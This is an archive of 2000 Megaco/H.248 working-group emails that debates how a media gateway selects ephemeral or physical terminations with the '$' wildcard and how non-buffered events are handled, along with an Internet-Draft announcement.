Tue, 1 Feb 2000 10:59:54 +0100 Received: from ericsson.com (kipe149.eraj.ericsson.se [147.214.68.149]) by elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id KAA06702; Tue, 1 Feb 2000 10:59:54 +0100 (MET) X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 References: <4FBEA8857476D311A03300204840E1CF208863@whq-msgusr-02.fore.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <3896AE99.BC196A4A@ericsson.com> Date: Tue, 1 Feb 2000 10:59:53 +0100 Reply-To: Christian Groves Sender: "Media Gateway Control (megaco)" From: Christian Groves Subject: Re: Choosing of ephemeral / physical Termination. X-To: "Rosen, Brian" To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit G'Day Brian, Sounds like you're leading me somewhere ;-). In answer to your questions I believe you could ask for what you've specified below. Whether that's the best way to do it is another question. Cheers, Christian "Rosen, Brian" wrote: > > Just checking my assumptions: > For a physical termination, you want to be able to say: > MyDS3/3/$ > meaning, you choose any DS0 you want in the 3rd DS1 of a DS3, > assuming that > was how my MG named the DS0s (such a structure NOT being required). > Could > I also ask for MyDS3/$/$? > > For an ephemeral termination, suppose that I knew, by discovery or > provisioning that RTP bearers were named RTP/nnnn and ATM bearers > were > named AAL1/nnnn/nn. Can I Add=AAL1/0003/$, which means create an > ephemeral for an ATM AAL1 bearer, with the MG choosing the > subchannel? > > Brian > > > -----Original Message----- > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM] > > Sent: Monday, January 31, 2000 10:27 AM > > To: MEGACO@standards.nortelnetworks.com > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > Hello all, > > > > I believe that we have diverged from the first email in this > > thread. We > > do not need rules to determine what media and bearer is instantiated. > > > > For a physical termination a certain terminationID schema will be > > assigned by the MG. ie. /myscheme/physical/trunk/circuit > > If the MGC wanted to CHOOSE a physical termination it could either > > wildcard 'trunk' or 'circuit'. > > > > For a emphemeral terminatoion a certain terminationID schema will be > > assigned by the MG. The MGC by various means would be aware of this > > scheme. > > ie. /myscheme/euphemeral/IP > > If the MGC wanted to CHOOSE a euphemeral termination it could wilcard > > the 'IP' > > > > The 'physical' and 'ephemeral' could be anything in the the > > MG assigned > > scheme that would differentiate the two. > > > > If the MGC doesn't care which one then it CHOOSES on the > > 'ephemeral'/'physical' level. The MG can determine which one to return > > from ANY information in the media descriptors. This is > > something for the > > MG to decide, not something that needs to be specified in > > rules in H248 > > because they'll probably change according to your > > application, resource > > allocation algorithms in the MG, etc. I do agree that an > > error should be > > returned if the MG cannot determine the terminationID. > > > > I think the scope of this is also limited to the ADD command. The ADD > > will return a fully specified terminationID which can then be > > referenced > > in Move, Modify, Subtract etc. > > > > Regards, Christian > > > > Tom-PT Taylor wrote: > > > > > > Right, we haven't converged yet. I have a suggestion which may > > > resolve this, that we add these rules > > > > > > (1) If the MGC provides too little information in an Add command for > > > the MG to select the bearer type for that termination, the MG must > > > reject the command with [appropriate error]. In practice, > > this means > > > either that the terminationID in the command provides the necessary > > > information, or else that at least one instance of a Local or Remote > > > descriptor must be present, containing a c= line with a specified > > > nettype (or the Annex C equivalent). > > > > > > (2) If the MGC provides too little information in an Add, Move, or > > > Modify command for the MG to determine the medium to be carried in a > > > given stream, the MG must reject the command with [appropriate > > > error]. The MG has three ways to determine medium: > > > > > > - streamID unspecified defaults to streamID=1 and medium=audio > > > - medium has already been specified for that streamID for another > > > termination in the same context > > > - explicit specification of medium in an m= line (or the Annex C > > > equivalent) in an instance of Local or Remote for the given > > streamID. > > > > > > -----Original Message----- > > > From: Rosen, Brian [SMTP:brosen@FORE.COM] > > > Sent: Monday, January 31, 2000 9:15 AM > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > Subject: Re: Choosing of ephemeral / physical > > Termination. > > > > > > I believe we have not reached consensus on this issue, so I did > > > not > > > change the text. Tom, is that your view? > > > > > > Brian > > > > > > > -----Original Message----- > > > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > > > Sent: Monday, January 31, 2000 2:52 AM > > > > To: MEGACO@standards.nortelnetworks.com > > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > The point that "$" is for choosing ephemeral is not yet added > > > > in V14. Is it that > > > > the discussion > > > > is not yet complete? What about foo$ representing choose > > > physical. > > > > > > > > > > > > > > > > > > > > Sachin Mittal on 01/27/2000 11:35:50 AM > > > > > > > > Please respond to samittal@hns.com > > > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > > cc: (bcc: Sachin Mittal/HSS) > > > > > > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > > > > > > Its true that the type of termination should not be > > > > identified by looking into > > > > the descriptor > > > > information. Somewhere in the text this should be added that > > > > " $ if it appears > > > > alone indicates > > > > ephemeral termination and partial $ (ex foo$) indicates > > > > selection of a physical > > > > termination > > > > (a circuit within a trunk group)". > > > > > > > > > > > > > > > > > > > > "Rosen, Brian" on 01/27/2000 02:36:46 AM > > > > > > > > Please respond to "Rosen, Brian" > > > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > > cc: (bcc: Sachin Mittal/HSS) > > > > > > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > > > > > > Generally determined by the "kind" of termination requested. > > > > Which is in turn, easily discernable from the Media command. > > > > > > > > However, upon reflection, I think it's not a good answer. > > > > I'd propose that we not allow selection of a physical > > > termination, > > > > in which case choose is always create an ephemeral. In > > > particular, > > > > the following is perfectly legal: > > > > Context=${Add=${}} > > > > What do you get? > > > > > > > > Brian > > > > > > > > > -----Original Message----- > > > > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > > > > Sent: Tuesday, January 25, 2000 9:01 AM > > > > > To: MEGACO@standards.nortelnetworks.com > > > > > Subject: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > Annex B.1 says that "The CHOOSE TerminationID $ may be used > > > > > to signal to the MG > > > > > that it has to create an > > > > > ephemeral Termination or select an idle physical > > > Termination". > > > > > How can MG determine when to create an ephemeral > > termination > > > > > and when to choose > > > > > idle physical termination.?? > > > > > What is the logic behind this decision making? > > > > > > > > > > regards > > > > > -Sachin Mittal > > > > > > > > > > > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 05:27:16 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA10642 for ; Tue, 1 Feb 2000 05:27:15 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A110C460@standards.nortelnetworks.com>; Tue, 1 Feb 2000 5:24:36 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17193 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 05:22:54 -0500 Received: from penguin.wise.edt.ericsson.se (194.237.142.110) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.FE38CC70@standards.nortelnetworks.com>; Tue, 1 Feb 2000 5:12:53 -0500 Received: from elb1 (elb1.al.edt.ericsson.se [136.225.252.11]) by penguin.wise.edt.ericsson.se (8.9.3/8.9.3/WIREfire-1.5) with SMTP id LAA13780; Tue, 1 Feb 2000 11:14:54 +0100 (MET) Received: from elb4.al.edt.ericsson.se by elb1 (SMI-8.6/LME-2.2.6) id LAA17439; Tue, 1 Feb 2000 11:14:53 +0100 Received: from ericsson.com (kipe149.eraj.ericsson.se [147.214.68.149]) by elb4.al.edt.ericsson.se (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id LAA06737; Tue, 1 Feb 2000 11:14:52 +0100 (MET) X-Mailer: Mozilla 4.61 [en] (Win95; I) X-Accept-Language: en MIME-Version: 1.0 References: <65256878.001611EF.00@sandesh.hss.hns.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <3896B21C.6857E07@ericsson.com> Date: Tue, 1 Feb 2000 11:14:52 +0100 Reply-To: Christian Groves Sender: "Media Gateway Control (megaco)" From: Christian Groves Subject: Re: Choosing of ephemeral / physical Termination. X-To: samittal@HSS.HNS.COM To: MEGACO@STANDARDS.NORTELNETWORKS.COM Content-Transfer-Encoding: 7bit G'Day Sachin, I think that the Media gateway must be able to look into the mediaDescriptor when CHOOSING a termination. The MG should be able to in charge of the allocation of its internal resources. As the termination represents (physically or logically) a resource and the mediaDescriptor says what this resource is doing its natural that the MG looks at the mediaDescriptor in the case it has to CHOOSE a terminationID. So we have 3 situations: CHOOSE with a structured terminationID - no problem use the structure to identify what you need and the appropriate information from the mediaDescriptor. CHOOSE with NO structure - no problem use the appropriate information from the mediaDescriptor CHOOSE with nothing - the issue: To me you give complete autonomy to the MG to CHOOSE whatever terminationID it likes with whatever method. ie. In a simple IPphone it may choose any of the 3 termination it has. The MG's allocation scheme could be in this case an ordered preference list of terminationIDs. In a large trunking gateway with 10000s of terminationIDs the MG may decide that's not enough information and return back an appropriate error. Two different applications, 2 different types of behaviour. That's why I'm not in favour of suggesting any 'rules' around this. Cheers, Christian Sachin Mittal wrote: > > Christian, > if MGC is aware of patterns of such kind, then > the issues/assumptions are as mentioned by Brian > But the original point was the the appearance > of $ with NO PRE-STRING and POST-STRING attached to it. > In that case how can you figure out what to choose. > I am not in favor of looking at media descriptor, etc > because they may not appear with the ADD. > Can we say ADD is successful if there doesn't yet > exist a "star connection" in the context in which atleast > one other termination is present ??? > > "Rosen, Brian" on 02/01/2000 01:09:49 AM > > Please respond to "Rosen, Brian" > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > cc: (bcc: Sachin Mittal/HSS) > > Subject: Re: Choosing of ephemeral / physical Termination. > > Just checking my assumptions: > For a physical termination, you want to be able to say: > MyDS3/3/$ > meaning, you choose any DS0 you want in the 3rd DS1 of a DS3, > assuming that > was how my MG named the DS0s (such a structure NOT being required). > Could > I also ask for MyDS3/$/$? > > For an ephemeral termination, suppose that I knew, by discovery or > provisioning that RTP bearers were named RTP/nnnn and ATM bearers > were > named AAL1/nnnn/nn. Can I Add=AAL1/0003/$, which means create an > ephemeral for an ATM AAL1 bearer, with the MG choosing the > subchannel? > > Brian > > > -----Original Message----- > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM] > > Sent: Monday, January 31, 2000 10:27 AM > > To: MEGACO@standards.nortelnetworks.com > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > Hello all, > > > > I believe that we have diverged from the first email in this > > thread. We > > do not need rules to determine what media and bearer is instantiated. > > > > For a physical termination a certain terminationID schema will be > > assigned by the MG. ie. /myscheme/physical/trunk/circuit > > If the MGC wanted to CHOOSE a physical termination it could either > > wildcard 'trunk' or 'circuit'. > > > > For a emphemeral terminatoion a certain terminationID schema will be > > assigned by the MG. The MGC by various means would be aware of this > > scheme. > > ie. /myscheme/euphemeral/IP > > If the MGC wanted to CHOOSE a euphemeral termination it could wilcard > > the 'IP' > > > > The 'physical' and 'ephemeral' could be anything in the the > > MG assigned > > scheme that would differentiate the two. > > > > If the MGC doesn't care which one then it CHOOSES on the > > 'ephemeral'/'physical' level. The MG can determine which one to return > > from ANY information in the media descriptors. This is > > something for the > > MG to decide, not something that needs to be specified in > > rules in H248 > > because they'll probably change according to your > > application, resource > > allocation algorithms in the MG, etc. I do agree that an > > error should be > > returned if the MG cannot determine the terminationID. > > > > I think the scope of this is also limited to the ADD command. The ADD > > will return a fully specified terminationID which can then be > > referenced > > in Move, Modify, Subtract etc. > > > > Regards, Christian > > > > Tom-PT Taylor wrote: > > > > > > Right, we haven't converged yet. I have a suggestion which may > > > resolve this, that we add these rules > > > > > > (1) If the MGC provides too little information in an Add command for > > > the MG to select the bearer type for that termination, the MG must > > > reject the command with [appropriate error]. In practice, > > this means > > > either that the terminationID in the command provides the necessary > > > information, or else that at least one instance of a Local or Remote > > > descriptor must be present, containing a c= line with a specified > > > nettype (or the Annex C equivalent). > > > > > > (2) If the MGC provides too little information in an Add, Move, or > > > Modify command for the MG to determine the medium to be carried in a > > > given stream, the MG must reject the command with [appropriate > > > error]. The MG has three ways to determine medium: > > > > > > - streamID unspecified defaults to streamID=1 and medium=audio > > > - medium has already been specified for that streamID for another > > > termination in the same context > > > - explicit specification of medium in an m= line (or the Annex C > > > equivalent) in an instance of Local or Remote for the given > > streamID. > > > > > > -----Original Message----- > > > From: Rosen, Brian [SMTP:brosen@FORE.COM] > > > Sent: Monday, January 31, 2000 9:15 AM > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > Subject: Re: Choosing of ephemeral / physical > > Termination. > > > > > > I believe we have not reached consensus on this issue, so I did > > > not > > > change the text. Tom, is that your view? > > > > > > Brian > > > > > > > -----Original Message----- > > > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > > > Sent: Monday, January 31, 2000 2:52 AM > > > > To: MEGACO@standards.nortelnetworks.com > > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > The point that "$" is for choosing ephemeral is not yet added > > > > in V14. Is it that > > > > the discussion > > > > is not yet complete? What about foo$ representing choose > > > physical. > > > > > > > > > > > > > > > > > > > > Sachin Mittal on 01/27/2000 11:35:50 AM > > > > > > > > Please respond to samittal@hns.com > > > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > > cc: (bcc: Sachin Mittal/HSS) > > > > > > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > > > > > > Its true that the type of termination should not be > > > > identified by looking into > > > > the descriptor > > > > information. Somewhere in the text this should be added that > > > > " $ if it appears > > > > alone indicates > > > > ephemeral termination and partial $ (ex foo$) indicates > > > > selection of a physical > > > > termination > > > > (a circuit within a trunk group)". > > > > > > > > > > > > > > > > > > > > "Rosen, Brian" on 01/27/2000 02:36:46 AM > > > > > > > > Please respond to "Rosen, Brian" > > > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > > cc: (bcc: Sachin Mittal/HSS) > > > > > > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > > > > > > Generally determined by the "kind" of termination requested. > > > > Which is in turn, easily discernable from the Media command. > > > > > > > > However, upon reflection, I think it's not a good answer. > > > > I'd propose that we not allow selection of a physical > > > termination, > > > > in which case choose is always create an ephemeral. In > > > particular, > > > > the following is perfectly legal: > > > > Context=${Add=${}} > > > > What do you get? > > > > > > > > Brian > > > > > > > > > -----Original Message----- > > > > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > > > > Sent: Tuesday, January 25, 2000 9:01 AM > > > > > To: MEGACO@standards.nortelnetworks.com > > > > > Subject: Choosing of ephemeral / physical Termination. > > > > > > > > > > > > > > > Annex B.1 says that "The CHOOSE TerminationID $ may be used > > > > > to signal to the MG > > > > > that it has to create an > > > > > ephemeral Termination or select an idle physical > > > Termination". > > > > > How can MG determine when to create an ephemeral > > termination > > > > > and when to choose > > > > > idle physical termination.?? > > > > > What is the logic behind this decision making? > > > > > > > > > > regards > > > > > -Sachin Mittal > > > > > > > > > > > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 06:54:27 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA11547 for ; Tue, 1 Feb 2000 06:54:26 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.CC7D2330@standards.nortelnetworks.com>; Tue, 1 Feb 2000 6:51:43 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17285 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 06:49:46 -0500 Received: from ietf.org (132.151.1.176) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.20FBC300@standards.nortelnetworks.com>; Tue, 1 Feb 2000 6:39:45 -0500 Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA11348; Tue, 1 Feb 2000 06:41:47 -0500 (EST) Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" Message-ID: <200002011141.GAA11348@ietf.org> Date: Tue, 1 Feb 2000 06:41:47 -0500 Reply-To: Internet-Drafts@ietf.org Sender: "Media Gateway Control (megaco)" Comments: RFC822 error: Incorrect or incomplete address field found and ignored. From: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-ietf-megaco-otherpkgs-00.txt To: MEGACO@STANDARDS.NORTELNETWORKS.COM --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. This draft is a work item of the Media Gateway Control Working Group of the IETF. Title : MEGACO Packages Not Included In MEGACO/H.248 White Draft Author(s) : M. Kallas, Z. Bilalis et.al Filename : draft-ietf-megaco-otherpkgs-00.txt Pages : 59 Date : 31-Jan-00 This document is work in progress. It gathers together all packages that have not yet been included in Annex E of Megaco/H.248 White Draft. It proposes additional text for MEGACO/H.248. This document is expected to be used at the Adelaide IETF meeting. A URL for this Internet-Draft is: http://www.ietf.org/internet-drafts/draft-ietf-megaco-otherpkgs-00.txt Internet-Drafts are also available by anonymous FTP. Login with the username "anonymous" and a password of your e-mail address. After logging in, type "cd internet-drafts" and then "get draft-ietf-megaco-otherpkgs-00.txt". A list of Internet-Drafts directories can be found in http://www.ietf.org/shadow.html or ftp://ftp.ietf.org/ietf/1shadow-sites.txt Internet-Drafts can also be obtained by e-mail. Send a message to: mailserv@ietf.org. In the body type: "FILE /internet-drafts/draft-ietf-megaco-otherpkgs-00.txt". NOTE: The mail server at ietf.org can return the document in MIME-encoded form by using the "mpack" utility. To use this feature, insert the command "ENCODING mime" before the "FILE" command. To decode the response(s), you will need "munpack" or a MIME-compliant mail reader. Different MIME-compliant mail readers exhibit different behavior, especially when dealing with "multipart" MIME messages (i.e. documents which have been split up into multiple messages), so check your local documentation on how to manipulate these messages. Below is the data which will enable a MIME compliant mail reader implementation to automatically retrieve the ASCII version of the Internet-Draft. --NextPart Content-Type: Multipart/Alternative; Boundary="OtherAccess" --OtherAccess Content-Type: Message/External-body; access-type="mail-server"; server="mailserv@ietf.org" Content-Type: text/plain Content-ID: <20000131134332.I-D@ietf.org> ENCODING mime FILE /internet-drafts/draft-ietf-megaco-otherpkgs-00.txt --OtherAccess Content-Type: Message/External-body; name="draft-ietf-megaco-otherpkgs-00.txt"; site="ftp.ietf.org"; access-type="anon-ftp"; directory="internet-drafts" Content-Type: text/plain Content-ID: <20000131134332.I-D@ietf.org> --OtherAccess-- --NextPart-- From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 09:14:34 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA17983 for ; Tue, 1 Feb 2000 09:14:34 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.617B3F90@standards.nortelnetworks.com>; Tue, 1 Feb 2000 9:11:53 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17360 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 09:10:15 -0500 Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AD7BA5D0@standards.nortelnetworks.com>; Tue, 1 Feb 2000 8:59:42 -0500 Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA24669; Tue, 1 Feb 2000 09:01:43 -0500 (EST) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221]) by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA28696; Tue, 1 Feb 2000 09:01:34 -0500 (EST) Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id ; Tue, 1 Feb 2000 08:58:23 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Message-ID: <4FBEA8857476D311A03300204840E1CF208867@whq-msgusr-02.fore.com> Date: Tue, 1 Feb 2000 09:01:31 -0500 Reply-To: "Rosen, Brian" Sender: "Media Gateway Control (megaco)" From: "Rosen, Brian" Subject: Re: Non-Buffered EventHandling X-To: John Segers To: MEGACO@STANDARDS.NORTELNETWORKS.COM Yes. For this reason, MGCs should be prepared to accept more than one event in the event descriptor, as the syntax allows. Brian > -----Original Message----- > From: John Segers [mailto:jsegers@lucent.com] > Sent: Tuesday, February 01, 2000 4:55 AM > To: MEGACO@standards.nortelnetworks.com > Subject: Re: Non-Buffered EventHandling > > > Brian, > > For clarification: is the event also processed when the MG is > notifying > the MGC of aa previous event that matched the active events > descriptor? > > John > > "Rosen, Brian" wrote: > > > > When EventBuffer is off, any Events are immediately > processed against the > > current EventsDescriptor. There is no buffering, and the > EventBuffer > > descriptor > > is not used. > > > > Brian > > > > > -----Original Message----- > > > From: Bob Lukas [mailto:blukas@hothaus.com] > > > Sent: Friday, January 28, 2000 7:10 PM > > > To: MEGACO@standards.nortelnetworks.com > > > Subject: Non-Buffered EventHandling > > > > > > > > > The change in text in v14 regarding Event handling has left > > > me a little > > > confused about event handling when EventBuffer flag is off. > > > The text is > > > explicit about the EventBuffer=on case, but only says > > > "If the EventBuffer flag is off when the new Events > > > Descriptor is received, > > > the queue is flushed and no events are added to it. The > > > default state of > > > EventBuffer is off.", > > > but section 7.1.5 says > > > "The EventBuffer flag specifies whether events are > buffered following > > > detection of an event in the Events Descriptor, or processed > > > immediately". > > > > > > After a Notify transaction containing ObservedEvents, what > > > happens to new > > > events detected while EventBuffer is off? > > > Are they discarded until a new Events Descriptor is received, > > > queued then > > > flushed until/when a new Events Descriptor is received, or do > > > they continue > > > to get matched and reported against the previous Events > Descriptor? > > > My understanding is that new events would continue to be > > > processed as per > > > the previous Events Descriptor, correct? > > > > > > ________________________________ > > > Bob Lukas > > > Broadcom Canada > > > Richmond BC > > > blukas@broadcom.com > > > > > -- > John Segers email: jsegers@lucent.com > Lucent Technologies Room HE 306 > Dept. Forward Looking Work phone: +31 35 687 4724 > P.O. Box 18, 1270 AA Huizen fax: +31 35 687 5954 > From owner-megaco@STANDARDS.NORTELNETWORKS.COM Tue Feb 1 09:17:02 2000 Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA18125 for ; Tue, 1 Feb 2000 09:17:01 -0500 (EST) Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A9C9FD90@standards.nortelnetworks.com>; Tue, 1 Feb 2000 9:13:54 -0500 Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM (LISTSERV-TCP/IP release 1.8d) with spool id 17361 for MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 1 Feb 2000 09:12:40 -0500 Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.17B7FF70@standards.nortelnetworks.com>; Tue, 1 Feb 2000 9:02:40 -0500 Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA24943; Tue, 1 Feb 2000 09:04:41 -0500 (EST) Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221]) by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA29408; Tue, 1 Feb 2000 09:04:42 -0500 (EST) Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id ; Tue, 1 Feb 2000 09:01:32 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Message-ID: <4FBEA8857476D311A03300204840E1CF208868@whq-msgusr-02.fore.com> Date: Tue, 1 Feb 2000 09:04:41 -0500 Reply-To: "Rosen, Brian" Sender: "Media Gateway Control (megaco)" From: "Rosen, Brian" Subject: Re: Choosing of ephemeral / physical Termination. X-To: Christian Groves To: MEGACO@STANDARDS.NORTELNETWORKS.COM Generally, I dislike having two ways to do something. In this case, I have walked you into two ways to decide what kind of ephemeral; one way is by name, the other way is by contents of local/remote as we have been discussing. On the one hand, I don't like that. On the other hand, I can't come up with any good reason to not allow the syntax discussed. Brian > -----Original Message----- > From: Christian Groves [mailto:Christian.Groves@ericsson.com] > Sent: Tuesday, February 01, 2000 5:00 AM > To: Rosen, Brian > Cc: MEGACO@standards.nortelnetworks.com > Subject: Re: Choosing of ephemeral / physical Termination. > > > G'Day Brian, > > Sounds like you're leading me somewhere ;-). In answer to > your questions > I believe you could ask for what you've specified below. > Whether that's > the best way to do it is another question. > > Cheers, Christian > > "Rosen, Brian" wrote: > > > > Just checking my assumptions: > > For a physical termination, you want to be able to say: > > MyDS3/3/$ > > meaning, you choose any DS0 you want in the 3rd DS1 of a DS3, > > assuming that > > was how my MG named the DS0s (such a structure NOT > being required). > > Could > > I also ask for MyDS3/$/$? > > > > For an ephemeral termination, suppose that I knew, > by discovery or > > provisioning that RTP bearers were named RTP/nnnn > and ATM bearers > > were > > named AAL1/nnnn/nn. Can I Add=AAL1/0003/$, which > means create an > > ephemeral for an ATM AAL1 bearer, with the MG choosing the > > subchannel? > > > > Brian > > > > > -----Original Message----- > > > From: Christian Groves [mailto:Christian.Groves@ERICSSON.COM] > > > Sent: Monday, January 31, 2000 10:27 AM > > > To: MEGACO@standards.nortelnetworks.com > > > Subject: Re: Choosing of ephemeral / physical Termination. > > > > > > > > > Hello all, > > > > > > I believe that we have diverged from the first email in this > > > thread. We > > > do not need rules to determine what media and bearer is > instantiated. > > > > > > For a physical termination a certain terminationID schema will be > > > assigned by the MG. ie. /myscheme/physical/trunk/circuit > > > If the MGC wanted to CHOOSE a physical termination it could either > > > wildcard 'trunk' or 'circuit'. > > > > > > For a emphemeral terminatoion a certain terminationID > schema will be > > > assigned by the MG. The MGC by various means would be > aware of this > > > scheme. > > > ie. /myscheme/euphemeral/IP > > > If the MGC wanted to CHOOSE a euphemeral termination it > could wilcard > > > the 'IP' > > > > > > The 'physical' and 'ephemeral' could be anything in the the > > > MG assigned > > > scheme that would differentiate the two. > > > > > > If the MGC doesn't care which one then it CHOOSES on the > > > 'ephemeral'/'physical' level. The MG can determine which > one to return > > > from ANY information in the media descriptors. This is > > > something for the > > > MG to decide, not something that needs to be specified in > > > rules in H248 > > > because they'll probably change according to your > > > application, resource > > > allocation algorithms in the MG, etc. I do agree that an > > > error should be > > > returned if the MG cannot determine the terminationID. > > > > > > I think the scope of this is also limited to the ADD > command. The ADD > > > will return a fully specified terminationID which can then be > > > referenced > > > in Move, Modify, Subtract etc. > > > > > > Regards, Christian > > > > > > Tom-PT Taylor wrote: > > > > > > > > Right, we haven't converged yet. I have a suggestion which may > > > > resolve this, that we add these rules > > > > > > > > (1) If the MGC provides too little information in an > Add command for > > > > the MG to select the bearer type for that termination, > the MG must > > > > reject the command with [appropriate error]. In practice, > > > this means > > > > either that the terminationID in the command provides > the necessary > > > > information, or else that at least one instance of a > Local or Remote > > > > descriptor must be present, containing a c= line with a > specified > > > > nettype (or the Annex C equivalent). > > > > > > > > (2) If the MGC provides too little information in an > Add, Move, or > > > > Modify command for the MG to determine the medium to be > carried in a > > > > given stream, the MG must reject the command with [appropriate > > > > error]. The MG has three ways to determine medium: > > > > > > > > - streamID unspecified defaults to streamID=1 and medium=audio > > > > - medium has already been specified for that streamID > for another > > > > termination in the same context > > > > - explicit specification of medium in an m= line (or > the Annex C > > > > equivalent) in an instance of Local or Remote for the given > > > streamID. > > > > > > > > -----Original Message----- > > > > From: Rosen, Brian [SMTP:brosen@FORE.COM] > > > > Sent: Monday, January 31, 2000 9:15 AM > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > > Subject: Re: Choosing of ephemeral / physical > > > Termination. > > > > > > > > I believe we have not reached consensus on this > issue, so I did > > > > not > > > > change the text. Tom, is that your view? > > > > > > > > Brian > > > > > > > > > -----Original Message----- > > > > > From: Sachin Mittal [mailto:samittal@hss.hns.com] > > > > > Sent: Monday, January 31, 2000 2:52 AM > > > > > To: MEGACO@standards.nortelnetworks.com > > > > > Subject: Re: Choosing of ephemeral / physical > Termination. > > > > > > > > > > > > > > > The point that "$" is for choosing ephemeral is > not yet added > > > > > in V14. Is it that > > > > > the discussion > > > > > is not yet complete? What about foo$ representing choose > > > > physical. > > > > > > > > > > > > > > > > > > > > > > > > > Sachin Mittal on 01/27/2000 > 11:35:50 AM > > > > > > > > > > Please respond to samittal@hns.com > > > > > > > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM > > > > > cc: (bcc: Sachin Mittal/HSS) > > > > > > > > > > Subject: Re: Choosing of ephemeral / physical > Termination. > > > > > > > > > > > > > > > > > > > > > > > > > Its true that the type of termination should not be > > > > > identified by looking into > > > > > the descriptor > > > > > information. Somewhere in the text this should > be added that > > > > > " $ if it appears > > > > > alone indicates > > > > > ephemeral termination and partial $ (ex foo$) indicates > > > > > selection of a physical > > > > > termination > > > > > (a circuit within a trunk group)". > > > > > > > > > > > > > > > > > > > > > > > > > "Rosen, Brian" 